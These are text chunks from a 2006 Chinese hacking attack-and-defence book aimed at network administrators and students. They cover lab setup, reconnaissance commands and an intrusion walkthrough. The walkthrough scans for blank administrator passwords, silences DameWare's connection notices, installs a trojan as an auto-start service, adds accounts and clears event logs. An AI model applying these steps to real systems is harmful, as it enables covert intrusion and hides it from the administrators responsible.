    {"text": "本书用图解的方式对每一步入侵步骤都进 行了详细的分析，以推测入侵者的入侵目的； 对入侵过程中常见的问题进行了必要的说明与解答； 并对 一些常见的入侵手段进行了比较与分析，以方便读者了解入侵者常用的方式、方法，保卫网络安全。 本 书是《黑客攻防实战入门》的姊妹篇。 本书适合于网络技术爱好者、网络系统管理员阅读，并可作为相关专业学生的学习资料和参考资料。"},
    {"text": "图书在版编目（CIP）数据 黑客攻防实战详解／邓吉，柳靖编著．—北京：电子工业出版社，2006.3 （安全技术大系） ISBN 7-121-02221-4 Ⅰ. 黑… Ⅱ. ①邓… ②柳… Ⅲ. 计算机网络－安全技术 Ⅳ. TP393.08 中国版本图书馆 CIP 数据核字（2006）第 002901 号 责任编辑：毕 宁 bn@phei.com.cn 印 刷： 出版发行：电子工业出版社 北京市海淀区万寿路 173 信箱 邮编 100036 经 销：各地新华书店 开 本：787×1092 1/16 印张：30.5 字数：817 千字 印 次：2006 年 3 月第 1 次印刷 印 数：6000 册 定价：49.00 元 凡购买电子工业出版社的图书，如有缺损问题，请向购买书店调换。"},
    {"text": "前 言 《黑客攻防实战入门》一书自面世以来，得到了广大读者的肯定与好评，笔者在此深表感谢。 本书作为《黑客攻防实战入门》一书的姊妹篇，读者定位与其基本相同，主要针对那些对网络安 全技术感兴趣的初学者，同时，本书更深入、细致地剖析了黑客技术，系统性更强，以期满足那 些已有一定技术基础的读者的需要。"},
    {"text": "也就是说，本书的主要目的是向读者介绍黑客攻防技术的 思考方法，而不是单纯地介绍某个工具的使用方法。 总之，本书是一本介绍为什么，而不是单单 介绍怎么做的一本黑客入门及提高书，这一点是本书区别于其他黑客类书籍的根本特征。"},
    {"text": "关于黑客 长期以来，由于诸多方面的因素， “黑客”这个字眼变得十分敏感，不同的人群对黑客也存在 不同的理解，甚至没有人愿意承认自己是黑客。"},
    {"text": "有些人认为，黑客是一群狂热的技术爱好者，他 们无限度地追求技术的完美； 有些人认为，黑客只是一群拥有技术，但思想简单的毛头小伙子； 还有些人认为黑客是不应该存在的，他们是网络的破坏者。"},
    {"text": "这里，我们没有必要对这个问题争论 不休，也无须给“黑客”加上一个标准的定义，但从客观存在的事实来看，黑客这类群体往往存 在着以下几个共同点。"},
    {"text": "一方面，黑客入侵可能造成网络的暂时瘫痪，另一方面，黑客也是整个网络的建设 者，他们不知疲倦地寻找网络大厦的缺陷，使得网络大厦的根基更加稳固。"},
    {"text": "我国信息化建设迟于美国等发达国家，信 息安全技术水平也相对落后，在几次跨国黑客大战中，国内网站的弱口令、漏洞比比皆是，这种 现状实在令人担忧，值得我们深思和反省，从中也可以看出国内传统的计算机、网络教学远远没 有满足实际的需要。"},
    {"text": "可以想像 10 年后，如果不了解入侵者的手段来采取必要的防御措施， 将要被入侵的设备不会仅仅限于电脑，也许还包括你的手机、家电、汽车，等等。"},
    {"text": "因此，在信息 技术如此发达，沟通方式日益丰富和复杂的今天，我们不仅要学会如何正确使用网络，而且还需 要学会如何防御自己的网络被他人入侵。"},
    {"text": "出于以上原因，笔者通过多年的研究与实践，系统地总结了目前广为使用的入侵、防御技术， 并针对广大网管以及对网络感兴趣的在校学生编写了本书。"},
    {"text": "本书主要内容 本书以深入剖析入侵过程为主线来展开全书内容，向读者介绍入侵者如何实现信息的收集， 如何通过获取的信息打开目标服务器的切入点（基于身份验证、漏洞、木马的入侵），如何实现入 侵即远程连接，入侵后如何执行各种任务，如何留下后门以便再次进入系统，以及入侵者如何清 除系统日志防止目标服务器发现入侵痕迹。"},
    {"text": "全书会对每一个入侵步骤做详细的分析， 以推断入侵者在每一入侵步骤的目的以及所要完成的任务，并对入侵过程中常见的问题作必要的 说明与解答，此外，还会对几种常见的入侵手段进行比较与分析。"},
    {"text": "第 4 章“基于服务器软件漏洞的入侵”介绍了入侵者是如何通过服务器软件的漏洞来实现入 侵的目的。 第 5 章“Windows 操作系统漏洞”介绍了入侵者如何通过 Windows 操作系统漏洞来实现入侵 的目的。 第 6 章“基于木马的入侵”介绍了入侵者如何通过种植木马程序来实现入侵的目的。"},
    {"text": "笔者将书中提到的所有相关软件整理为一个说明文件（提供了这些软件的下载地址和简单介 绍），读者可到 http://www.broadview.com.cn/html/resource/hack.rar 下载这个文件。"},
    {"text": "很多人认为黑客技术很神秘，这主要是由于对黑客技术的不了解造成的。 还有一部分人认为 黑客技术就是用于入侵系统的技术。 黑客技术确实离不开入侵，但黑客技术的应用绝不单单是入 侵系统。"},
    {"text": "一台主机在正常安装多系统后同 一时刻只能运行一个系统，需要进行系统切换时必须重新启动计算机，而 VMware 则是真正“同 时”在主系统的平台上运行多个操作系统，实现像标准 Windows 应用程序那样切换。"},
    {"text": "图 1-6 图 1-7 单击“Finish”按钮完成 VMware 的安装。  VMware 的配置与使用说明 首次运行 VMware 显示如图 1-8 所示的界面。 3 黑客攻防实战详解 图 1-8 此时，VMware 相当于一台裸机，需要为其安装操作系统。"},
    {"text": " Use bridged networking：虚拟机直接连接外部网络，需要为虚拟机设定独立的 IP 地址。  Use network address translation：虚拟机通过主系统连接到外部网络，这种设置下，虚拟给 与主系统使用相同的 IP 地址。  Use host-only networking：将虚拟机连接到一个架设在主系统之上的虚拟局域网中，为架设 虚拟局域网并且不希望虚拟机连接到外部网络时，可以选择此项。"},
    {"text": "刚刚安装好操作系统的虚拟机也需要一些驱动程序。 如果在安装操作系统时，安装的是 Typical 选项中除 Other 以外的默认的操作系统类型，则可以安装 VMware Tools 代替安装驱动程序。 VMware Tools 可以被认为是一个集合了驱动程序的工具包。"},
    {"text": "例如，主系统上架设了一台虚拟机，安装的操作系统都是 Windows XP，则内存至少要达到 256MB， 事实上的内存开销要大于这个值，因为虚拟机在主系统上的运行也需要一定的内存。"},
    {"text": "这是因为从 逻辑上来看，主系统与虚拟机是两台完全独立的计算机，主系统起到了网关的作用。 主系统在虚 拟局域网有两个 IP 地址，一个是内部 IP，另一个是外部 IP，虚拟机系统通过主系统与外部网络相 连接。"},
    {"text": "对于黑客而言，扫描器是最基本的攻击工具，有一句话可以充分说明扫描器对黑客的 重要性，“一个好的扫描器相当于数百个合法用户的账户信息”。"},
    {"text": "本节是从扫描器相关的基本理论入手介绍扫描器的，至于具体的扫描器工具在后续章节中会 有详细介绍。 了解本节中的内容有助于更好地理解与使用扫描器。"},
    {"text": "扫描器可以检测远程主机和本地系统的安全性，对远程主机和本地系统进行扫描是有区别的。 对远程主机进行扫描属于外部扫描，即扫描远程主机的一些外部特性，这些外部特性是由远程主 机开放的服务决定的。 对本地系统进行扫描属于内部扫描，通常是以系统管理员权限进行的扫描。 一般来说，黑客攻击的第一步就是对远程主机进行各种扫描。 2．扫描器的工作原理 扫描器进行外部扫描时，针对远程主机开放的端口与服务进行探测，获取并记录相关的应答 信息，对应答信息进行筛选和分析后，再与扫描器自带的漏洞信息库中的信息进行比较，如果一 致，则确定远程系统存在相应的漏洞。 扫描器进行内部扫描时，扫描器会以系统管理员的权限在本地机上运行，记录系统配置中的 各项主要参数，分析配置上存在的漏洞。 以上可以发现内外部扫描之间的另一个差别：外部扫描时，扫描器所收集的信息与自带漏洞 信息库中的信息一致时即确定为存在相应的漏洞； 而内部扫描则正好相反，不一致时确定存在相 应的系统漏洞。 3．防御扫描的安全策略 单从危害来看，黑客进行对远程主机进行内部扫描的危害更大，这时说明黑客已经侵入了系 统。"},
    {"text": "4．扫描器的使用策略 及时更新扫描器的版本是最基本的使用策略，一般的发布顺序是系统漏洞首先被披露，然后 是相关的补丁程序，最后才是扫描器。"},
    {"text": "以“抓肉鸡” （肉鸡指被控制了的远程主机）为例，可以先使用一些扫描速度快但功能 8 第 1 章 一次完整的入侵 少的扫描器扫描多个网段中远程主机，随后使用一些扫描速度慢但功能强的扫描器重点扫描其中 的一部分主机，最后确定对哪些远程主机进行入侵。"},
    {"text": "对于系统管理员而言，对具体的扫描方法也要有一定的了解与掌握，例如某个漏洞刚被发现 时，它对应的扫描器往往不会同期被发布，漏洞的存在对系统构成了潜在的威胁，这种情况下， 可以通过端口检测等一些扫描方法加以检查。"},
    {"text": " 入侵工具：X-Scan、DameWare  工具介绍 X-Scan 是一款优秀的综合扫描器，它采用多线程方式对指定 IP 地址段(或单机)进行安全漏洞 检测，支持插件功能。"},
    {"text": "对于多数已知漏洞给出了 相应的漏洞描述、解决方案及详细描述链接，其他漏洞资料正在进一步整理完善中，可以通过 http://www.xfocus.net 的“安全文摘”和“安全漏洞”栏目查阅相关说明。"},
    {"text": "DameWare 是一款超级网管工具， 它的设计初衷是为了让网管们更加方便地同时管理多台计算 机，免得跑来跑去地一台台调试配置。 DameWare 把众多管理工具集成在一起，只要拥有远程主机 管理员权限的账号，任何人都可以通过图形界面来控制该远程主机。"},
    {"text": "DameWare 可以从“http://www.dameware.com/downloads/”处下载，下载后按提示安装。  入侵思路：获取管理员权限、在 DameWare 中添加主机、实时屏幕监视和控制、远程执行 命令、系统设置修改与系统控制、文件上传与下载、留后门、清除脚印。"},
    {"text": "步骤 1 扫描远程主机是否存在 NT 弱口令（获取管理员权限） 打开 X-Scan，在“设置”下拉菜单中选择“扫描参数”选项，打开扫描参数设置窗口。"},
    {"text": "在指 定 IP 范围的输入框中输入希望扫描的 IP 地址段。 本例中将对局域网进行扫描，输入的 IP 段为 192.168.0.2~192.168.0.253，如图 1-22 所示。"},
    {"text": "图 1-24 图 1-25 步骤 2 在 DameWare 中添加远程主机 在“开始”→“程序”→“Dame Ware NT Utilities”中选择“Dame Ware NT Utilities”，打开 DameWare 主界面，如图 1-26 所示。 10 第 1 章 一次完整的入侵 图 1-26 然后单击主界面左上角的“ ”图标，接着在弹出的“Add Domain or Machine（添加域或主 机） ”对话框中选择“Non-Browsable Machine”，并添入目标主机的 IP 地址 192.168.0.128，如图 1-27 所示。"},
    {"text": "如图 1-29 所示，在左侧窗口的列表中依次为“磁盘操作”、 “事件日志”、 “组管理”、 “查看已打开文件” 、 “打印机”、 “进程管 理” 、 “系统属性” 、 “ 图 RAS” 、 “注册表” 、 “远程命令执行”、 “远程控 1-27 制（有屏幕监视功能）” 、 “应用程序管理”、 “计划任务管理” 、 “查找”、 “发送信息”、 “服务管理”、 “会话管理”、 “共享管理” 、 “远程关机” 、 “软件管理” 、 “系统工具” 、 “TCP 工具”、 “用户管理”和 “远程唤醒”。 图 1-28 图 1-29 除此之外，还可以通过 DameWare 来打开 Windows 自带的管理工具，如图 1-30 所示。 11 黑客攻防实战详解 图 1-30 步骤 3 实时屏幕监视和控制 在如图 1-29 所示的 DameWare 主界面中，单击左侧图标 ，在打开菜单中双击 ，然后在弹出界面的“User”栏中填入获得的用户名“administrator”，由 于密码为空，所以“Password”栏不用填，并且其他的设置不用改变，填好后如图 1-31 所示。 图 1-31 此时单击“Connect”按钮即可进行连接，如果是首次连接远程主机，那么 DameWare 会要求 为远程主机安装 DameWare 被控端，如图 1-32 所示。 图 1-32 单击“OK”按钮进行安装，在默认的情况下，远程主机会被通知建立连接，这样会使入侵者 暴露入侵痕迹，在远程主机上的截图如图 1-33 所示。 12 第 1 章 一次完整的入侵 图 1-33 入侵者为了不让 DameWare 通知远程主机，在单击“Connect”按钮之前需要进行设置来将该 “网管工具”彻底变成“入侵者工具”。"},
    {"text": "在图 1-31 所示的窗口中单击“Settings…”按钮，弹出如图 1-34 所示的窗口。 选择“Install Options”选项卡，如图 1-35 所示，图中的设置项已进行了修改。"},
    {"text": "按图 1-35 所示设置完毕后，单击“Edit”按钮进行 属性设定，打开设定对话框后，找到“Additional Settings” 选项卡，并去除“Enable Sys Tray Icon”前面的“勾”， 表示去除目标主机端的连接显示“ ”，设置完毕后如 图 1-36 所示。 接下来打开“Notify Dialog”选项卡，去除“Notify on Connection”前面的“勾” ，表示去除连接时在目标主 机端显示的如图 1-37 所示的提示。"},
    {"text": "图 1-36 13 黑客攻防实战详解 图 1-37 图 1-38 通过前面几项的设置，入侵者在连接远程主机的时候就不会被察觉，最后单击“确定”按钮 或“OK”按钮回到图 1-31 所示的窗口。 单击“Connect”按键，为远程主机安装被控制端，如图 1-39 所示。 图 1-39 服务安装、启动完毕后，便会在本地机上得到远程主机当前的屏幕，如图 1-40 所示。 图 1-40 14 第 1 章 一次完整的入侵 此外，入侵者可以通过该屏幕对远程主机进行控制，就像操纵本地计算机一样。 如图 1-41 所 示，勾选“View Only”选项表示通过“只监视（View Only）”模式显示远程主机的桌面，不能对 远程主机进行控制； 不勾选“View Only”选项表示通过“控制”模式连接远程主机，除了可以看 见远程主机的桌面，还可以对远程主机进行控制。"},
    {"text": "通过图 1-43 选项可以手动卸载远程主机的 DameWare 被控制端服务。 图 1-41 图 1-42 图 1-43 步骤 4 远程执行命令 使用 DameWare 可以实现远程执行命令。 DameWare 是通过 DameWare 自带的工具“RCmd View”及“RCmd Console”来实现这一功能的。 在 DameWare 主界面中，单击列表中“Remote Command”前面的“ ”来找到“RCmd View”和“RCmd Console”，如图 1-44 所示。 其中， “RCmd View”或“RCmd Console”都可以用来远程执行命令，这里只介绍 RCmd View 的使用方法。 双击“RCmd View”，如果是首次使用，DameWare 在控制端提示将在远程主机上安 装 DameWare NT Utilities Service，如图 1-45 所示。"},
    {"text": "例如，键入“ipconfig/all”命令查看远 程计算机的网络参数，如图 1-47 所示。 图 1-47 从返回的结果可以看到，该远程主机的 IP 地址为“192.168.0.128”，网关的 IP 地址为 “192.168.0.2”，MAC 地址是“00-0C-29-86-57-34”。"},
    {"text": "图 1-51 Task Schedule 代表计划任务，双击打开后如图 1-52 所示。 图 1-52 17 黑客攻防实战详解 在主界面的“Schedule”下拉菜单中选择“Add Schedule…”即可实现建立计划任务，如图 1-53 所示。"},
    {"text": "图 1-58 图 1-59 在图 1-59 中选中服务类型，然后单击“下一步”按钮后，如图 1-60 所示。 在图 1-60 中选择执行该服务的许可账号，设置完毕后，单击“下一步”按钮后，如图 1-61 所示。"},
    {"text": "图 1-60 图 1-61 在图 1-61 中选择服务的启动方式，这里选择 Automatic（自动），目的是令远程主机在每次启 动后都自动执行该木马程序，然后单击“下一步”按钮得到安装参数报告，如图 1-62 所示。"},
    {"text": "图 1-65 图 1-65 中右侧窗口下方的图标，分别为： ：重新启动 ：注销账号 ：关闭电源 步骤 6 文件上传与下载 在入侵过程中，文件上传与下载是常用的操作，DameWare 也能实现。"},
    {"text": "20 第 1 章 一次完整的入侵 图 1-66 随后的操作如同操作本地机一样，可以进行文件的复制、剪切、删除、隐藏、权限设置、粘 贴等操作，如图 1-67 所示。"},
    {"text": "单击“ ”图标，打开“用户管理” ，在图 1-68 中的右侧 窗口中，入侵者可以建立、禁用、降级、删除用户。 图 1-68 21 黑客攻防实战详解 例如，要新建一个账号，单击图 1-68 中右侧窗口左下角的“ ”按钮，打开的用户属性窗口 如图 1-69 所示。"},
    {"text": "图 1-69 图 1-70 步骤 8 清除脚印 在入侵者离开“192.168.0 .128”之前，往往需要清除脚印来防止管理员发现他们留下的痕迹， 这可以通过删除事件日志实现。"},
    {"text": "单击 图标，打开后如图 1-71 所示，清除右侧窗口中的 “Application”、“Security”和“System”日志。 图 1-71 在图 1-71 的右侧窗口中，用鼠标右键单击任意一项记录，打开如图 1-72 所示的菜单，然后选 择“Clear All Events”来清空“Application”日志。"},
    {"text": "22 第 1 章 一次完整的入侵 图 1-72 1.4 小结 本章着重介绍了使用虚拟机搭建局域网和扫描器的相关基础知识，最后通过一次完整的入侵 实例详细地介绍了完整入侵应包含的思路及网管软件 DameWare 的使用方法。"},
    {"text": "入侵者始终坚信 着这样一个信条： “无论目标网络的规模有多大、安全指数有多高，只要是人类参与设计的网络就 必然存在着人为因素，而任何人为因素都有可能导致网络设计的缺陷。"},
    {"text": "前些天，笔者偶然在论坛上看见一 个网管询问“如何去掉某某服务器的默认密码”的帖子，从中可以知道该管理员所管辖网络的脆 弱之处，甚至可以根据该网管的技术水平来推断该网络的总体安全指数。"},
    {"text": "如果这个帖子被那些“感 兴趣”的人发现，该服务器的命运就可想而知了。 可见，仅仅是一个小小的帖子就极有可能导致 该服务器，乃至整个网络的崩溃。"},
    {"text": "本章介绍了入侵者可能会对以下信息进行搜集：  网站注册信息  网管资料  共享资源  端口信息  FTP 资源  常见漏洞  弱口令 2.1 网站信息搜集 网站是一个网络或集团的身份象征，它直接暴露在因特网上，为来访者提供服务，或被集团、 公司用来开展业务，因而网站的安全问题就显得尤为重要。"},
    {"text": "从 IP 地址的时间有效性划分，可分为固定 IP 地址和动态 IP 地址。 固定 IP：固定 IP 地址是长期分配给一台计算机使用的 IP 地址，一般来说，服务器都拥有固 定的 IP 地址。 动态 IP：由于 IP 地址资源比较珍贵，一般来说，电话拨号上网或宽带上网的用户使用的是由 ISP（网络服务提供商）动态分配的一个临时 IP 地址。"},
    {"text": "从 IP 地址的使用范围划分，可分为公有 IP 地址和私有 IP 地址。 公有 IP 地址（Public address）：由 Inter NIC 负责管理，需要向其提出申请，注册才能使用。 私有 IP 地址（Private address）：也就是大家常说的内网地址，是专门划分出来的一段 IP 地址 资源，供组织机构内部使用，不需要注册。"},
    {"text": "它以超文本传输协议 的方式提供服务，以超文本标记语言（HTML）作为基础来形成网页。 超文本传输协议是一种按 照人类习惯的思维方式来组织信息的一种格式，它使用“超链接”把不同的媒体，如图片、音乐、 电影等组织在一起。"},
    {"text": "例如，假设全球 IP 地址管理机构给中国分配一个 IP 段 1.0.0.0，然后中国的 IP 地址管理机 构可以把这个 IP 段再具体划分给下级 IP 地址管理机构，如 1.1.0.0。"},
    {"text": "需要补充说明的是，下列 IP 地址，也就是私有 IP 地址，不需要向有关 IP 管理机构申请，但 只能供内网使用，而且同一内网中不能将同一 IP 分配给不同的主机。"},
    {"text": "对于 Windows 9x 系统，选择【开始】→【运行】，键入“command”命令，如图 2-1 所示。 25 黑客攻防实战详解 对于 Windows 2000/XP/2003 系统，选择【开始】→【运行】，键入“cmd”命令，如图 2-2 所 示。"},
    {"text": "图 2-3 图 2-4 （2）ping 命令简介 ping 命令是入侵者经常使用的网络命令，该命令应用的是简单网络管理协议 ICMP 的一个管 理方法，其目的就是通过发送特定形式的 ICMP 包来请求主机的回应，进而获得主机的一些属性。"},
    {"text": "道理虽然简单，但是这个命令的用途却非常广泛，通过这个 命令，入侵者可以来试探目标主机是否活动，可以来查询目标主机的机器名，还可以配合 ARP 命 令查询目标主机 MAC 地址，甚至可以推断目标主机操作系统，或者进行 DDoS 攻击等。"},
    {"text": "ping 命令的使用格式： ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] [-r count] [-s count] [[-j host-list] | [-k host-list]] [-w timeout] destination-list 常用参数说明： -t 一直 ping 下去，用 Ctrl+C 结束。"},
    {"text": "命令使用格式：ping 主机 IP C:\\>ping 192.168.245.130 Pinging 192.168.245.130 with 32 bytes of data: 26 第 2 章 信息搜集 Reply from 192.168.245.130: bytes=32 time=10ms TTL=1 Reply from 192.168.245.130: bytes=32 time<10ms TTL=1 Reply from 192.168.245.130: bytes=32 time<10ms TTL=1 Reply from 192.168.245.130: bytes=32 time<10ms TTL=1 Ping statistics for 192.168.245.130: Packets: Sent = 4, Received = 4, Lost = 0 <0% lo ss>， Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 10ms, Average = 2ms 从返回的结果“Reply from 192.168.245.130: bytes=32 time=10ms TTL=1”来看，目标主机有响 应，说明 192.168.245.130 这台主机是活动的。 下面的结果是相反的情况： C:\\>ping 192.168.245.130 Pinging 192.168.245.130 with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 192.168.245.130: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms 从返回的结果“Request timed out.”来看，目标主机不是活动的，即目标主机不在线或安装有 网络防火墙，这样的主机是不容易被入侵的。"},
    {"text": "不同的操作系统对于 ping 的 TTL 返回值是不同的，参见表 2-1。 表 2-1 不同的操作系统对 ping 的 TTL 返回值 操作系统 默认 TTL 返回值 UNIX 类 255 Windows 95 32 Windows NT/2000/2003 128 Compaq Tru64 5.0 64 此外，Linux Kernel 2.2.x & 2.4.x 的 TTL 字段值为 64。"},
    {"text": "Windows 系列的系统可以通过修改注册表以下键值来改变默认的 TTL 返回值： [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters] \"DefaultTTL\"= dword:000000ff 2.1.2 信息搜集 1．由域名得到网站的 IP 地址 在已知域名的情况下入侵者是如何得到目标的 IP 地址的呢？"},
    {"text": "27 黑客攻防实战详解 （1）方法一：ping 命令试探 使用命令：ping 域名。 例如，入侵者想知道 163 服务器的 IP 地址，可以在 MS-DOS 中键入“ping www.163.com”命 令，如图 2-5 所示。"},
    {"text": "图 2-6 中的 202.□.□.6 是本机所在域的 DNS 服务器，在提示符“>”后键入“www.163.com” 命令，回车后便可以得到域名查询结果，如图 2-7 所示。 图 2-6 图 2-7 从图 2-7 返回的结果分析，Address 后面所列的就是 www.163.com 所使用的 Web 服务器群的 IP。"},
    {"text": "2．由 IP 得到目标主机的地理位置 由于 IP 地址的分配是全球统一管理的，因此入侵者可以通过查询有关机构的 IP 地址数据库 28 第 2 章 信息搜集 来得到该 IP 所对应的地理位置，由于 IP 管理机构多处于国外，而且分布比较零散，因此这里介 绍两个能查询到 IP 数据库的国内个人网站。"},
    {"text": "例如，要查询 202.108.36.153 的地理位置，可在图 2-8 的“IP 地址”右面的文本框中输入 “202.108.36.153”，然后单击“查询”按钮，就会得到如下查询结果。"},
    {"text": "你要查询的是\"202.108.36.153\"，它被理解为\"202.108.36.153\" 准确性排序：域名反向解析 > 本站补充数据 > 官方数据 > 非官方数据 域名反向解析： 本站补充数据： 官方数据： 在亚洲与太平洋网络信息中心（APNIC）找到： % [whois.apnic.net node-2] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html 网络地址范围： 202.108.0.0 - 202.108.255.255 网络名： CNCGROUP-BJ 单位全名和地址： CNCGROUP Beijing province network 单位全名和地址： China Network Communications Group Corporation 单位全名和地址： No.156,Fu-Xing-Men-Nei Street, ……202.10 …… 图 2-8 网站二：http://ip.loveroot.com。"},
    {"text": "3．网站基本信息查询 商业网站中都会有 的标志，它一般会在主页的最下角，是国家工商局用来管理经营性网站 的红盾标志（http://www.hd315.gov.cn/），里面记录了网站的备案登记信息。 因此，凡是经营性网 29 黑客攻防实战详解 站都会有这个“红盾”链接，单击该链接，就会看见工商局公布的关于该网站的一些基本信息， 如图 2-10 所示。"},
    {"text": "图 2-9 图 2-10 2.1.3 网站注册信息搜集 众所周知，一个网站在正式发布之前，需要向有关机构申请域名。 申请到的域名信息将保存 在域名管理机构的数据库服务器中，并且域名信息常常是公开的，任何人都可以查询。"},
    {"text": "不过，可以通过以下几个网站来查询域名注册信息。 1．中国互联网络信息中心（http://www.cnnic.com.cn） 中国互联网络信息中心是比较权威的机构，记录着所有以 cn 为结尾的域名注册信息，其查询 界面如图 2-11 所示。 图 2-11 2．中国万网（http://www.net.cn） 中国万网，号称是中国最大的域名和网站托管服务提供商，不仅提供.cn 的域名注册信息，而 且还有.com、.net 等，不过查询结果是英文的。"},
    {"text": "实例一：查询新浪网域名注册信息 由于新浪域名“SINA.COM.CN”以“cn”为后缀，所以通过中国互联网络信息中心进行查询， 31 黑客攻防实战详解 进入“CN 域名注册信息查询”界面，在域名查询右面的文本框中输入“SINA.COM. CN”，如图 2-13 所示。 图 2-13 按回车键，得到新浪注册信息，如图 2-14 所示。 域名 sina.com.cn 域名状态 ok 域名联系人 … 注册者 北京新浪信息技术有限公司 管理联系人电子邮件 guomin@staff.sina.com.cn 所属注册商 中国互联网络信息中心 域名服务器 ns3.sina.com.cn 域名服务器 ns2.sina.com.cn 域名服务器 ns1.sina.com.cn 注册日期 1998-11-20 00:00 过期日期 2006-11-20 00:00 图 2-14 实例二：查询 Sony 公司网站域名注册信息 由于 Sony 是国外公司，不能通过中国互联网络信息中心进行查询，因此这里使用万网进行查 询。"},
    {"text": "已被注册的域名： sony.info sony.gov.cn sony.org sony.biz sony.org.cn sony.cn sony.name sony.com.cn sony.net sony.cc sony.net.cn sony.tv sony.com 图 2-16 单击 sony.org，得到如下所列的域名注册信息： sony.org 的详细信息： NOTICE: Access to .ORG WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the PIR registry database. The data in this record is provided by Public Interest Registry for informational purposes only, and PIR does not guarantee its …… time. By submitting this query, you agree to abide by this policy. Domain ID:D4524618-LROR Domain Name:SONY.ORG Created On:03-Nov-1998 05:00:00 UTC Last Updated On:19-Oct-2003 09:08:24 UTC Expiration Date:02-Nov-2006 05:00:00 UTC Sponsoring Registrar:Register.com Inc. (R71-LROR) Status:OK Registrant ID:C10194343-RCOM Registrant Name:Account Masking Registrant Organization:register.com Registrant Street1:575 Eighth Avenue Registrant Street2: Registrant Street3: …… Admin Postal Code:95134-1901 Admin Country:US 33 黑客攻防实战详解 Admin Phone:+1.4089555556 Admin Phone Ext.: Admin FAX:+1.4089555950 Admin FAX Ext.: Admin Email:hostmaster@sony.com Tech ID:C11798055-RCOM Tech Name:Ted Asocks Tech Organization:SonyElectronics,Inc. Tech Street1:3300ZankerRoad,MD:SJ2D2 Tech Street2: …… Name Server:NS5.SONY.COM …… 可见，入侵者并不需要使用任何特别的入侵工具就可以获得如此多的敏感信息。"},
    {"text": "图 2-19 35 黑客攻防实战详解 VisualRoute Server 集成了 ping，WHOIS 与 traceroute 程序功能，自动分析网络连接结果并呈 现在世界地图上（鼠标左键放大，右键缩小） ，提供从北京、香港、台湾、上海、深圳、中山到指 定的任一个域名或 IP 的 ping 结果和图形化的路由信息。"},
    {"text": "例如，要探测数据包是如何从北京到达美国的著名搜索引擎 google 的，在“Enter Host/URL” 填入“www.google.com”，单击“Start Trace”按钮后得到的结果如图 2-20 所示。"},
    {"text": "图 2-20 从回显的结果中看到，该工具不仅能够列出所经过每一节点的 IP 地址，所在时区、域名及延 迟时间，而且可图形化地显示数据包流向的路径。"},
    {"text": "通过以上任一方法都可以得到数据包是如何达到目标网络的，进而按照前面介绍过的网络基 本结构模型，就可以判断出目标网络防火墙、路由器和服务器的 IP 地址及关键节点。"},
    {"text": "36 第 2 章 信息搜集 图 2-21 2．实例二：tracert 命令推断 （1）tracert 命令介绍 tracert 是路由跟踪命令，通过该命令的返回结果，可以获得本地到达目标主机所经过的网络 设备。 用法：tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name 参数说明： -d 不需要把 IP 地址转换成域名 -h maximum_hops 允许跟踪的最大跳数 -j host-list 经过的主机列表 -w timeout 每次回复的最大允许延时 （2）tracert 工作原理 在前面介绍过的 ping 命令中有一个 TTL 参数，该参数用来指定 ICMP 包的存活时间，这里的 存活时间是指数据包所能经过的节点总数。"},
    {"text": "例如，如果一个 ICMP 包的 TTL 值被设置成 2，那么 这个 ICMP 包在网络上只能传到邻近的第二个节点； 如果被设置成“1”，那么这个 ICMP 包只能 传到邻近的第一个节点。"},
    {"text": "tracert 就是根据这个原理设计的，使用该命令时，本机发出的 ICMP 数 据包 TTL 值从“1”开始自动增加，相当于 ping 遍历通往目标主机的每个网络设备，然后显示每 个设备的回应，从而探知网络路径中的每一个节点。 例如，键入“tracert www.163.com”命令来探测发往 163 的数据包都经过了哪些节点，进而来 分析目标网络结构，如图 2-22 所示。"},
    {"text": "图 2-22 分析结果如下： 第 1 跳 1 <10 ms <10 ms <10 ms 210.□.□.254，其中 210.□.□.254 是本机网关。 37 黑客攻防实战详解 第 2 跳 2 <10 ms <10 ms <10 ms 210.□.□.13， 其中 210.□.□.13 是 CERNET 节点。 第 3 跳 3 <10 ms <10 ms <10 ms 202.112.53.241，其中 202.112.53.241 是广州教育 网节点。 …… 第 6 跳 6 10 ms 21 ms 30 ms 202.112.36.131，其中 202.112.36.131 是位于中国 教育与科研计算机网高性能计算中心。 第 7 跳 7 20 ms 21 ms 20 ms 219.158.28.25，从该节点起，数据包由从教育网 进入公众网。"},
    {"text": "C:\\>tracert www.sina.com.cn Tracing route to sina37-42.sina.com.cn [202.108.37.42] over a maximum of 30 hops: 1 <1 ms <1 ms <1 ms 210.□.□.□ 2 <1 ms <1 ms <1 ms 210.□.□.□ 3 <1 ms <1 ms <1 ms 202.□.□.□ 4 6 ms 6 ms 6 ms sydl3.□.net [202.□.□.□] 5 19 ms 18 ms 19 ms bysy3.□.net [202.□. □.□] 6 19 ms 20 ms 19 ms 202.□.□.□ 7 * * * Request timed out. 8 1776 ms 1762 ms 1758 ms 219.□.□.□ 9 1766 ms 1757 ms 1769 ms 202.96.12.42 10 1580 ms 1572 ms 1557 ms 202.106.192.174 11 1678 ms 1732 ms 1642 ms 210.74.176.158 12 1650 ms 1662 ms 1616 ms sina37-42.sina.com.cn [202.108. 37.42] Trace complete. 结合前面讲过的网络基本结构，第 7 跳的网络设备没有响应，所以第 7 跳应该是“防火墙”。"},
    {"text": "图 2-24 图 2-25 （4）北大天网 北大天网是教育网的搜索引擎，分为 WWW 网页搜索和 FTP 文件搜索两种搜索模式。 服务器 在北京大学，对于教育网资源的搜索，它是最合适不过的了。"},
    {"text": "图 2-26 2.2 资源搜集 2.2.1 共享资源简介 1．共享资源 这里提及的共享资源是指在 Windows 系统中的“共享磁盘”、 “共享文件夹” 、 “共享文件” 、 “共 享打印机”等。"},
    {"text": "关于如何建立共享，在这里不做介绍，只把建立共享所需要的 39 黑客攻防实战详解 条件列出，以便查阅。 2．建立共享的条件 条件一：需要有足够的权限。"},
    {"text": "如果没有安装 NetBEUI 协议，那么只能使 用 IP 地址来互相访问共享资源，如果安装了 NetBEUI 协议，便可以在同一局域网内使用主机名来 互相访问共享资源。"},
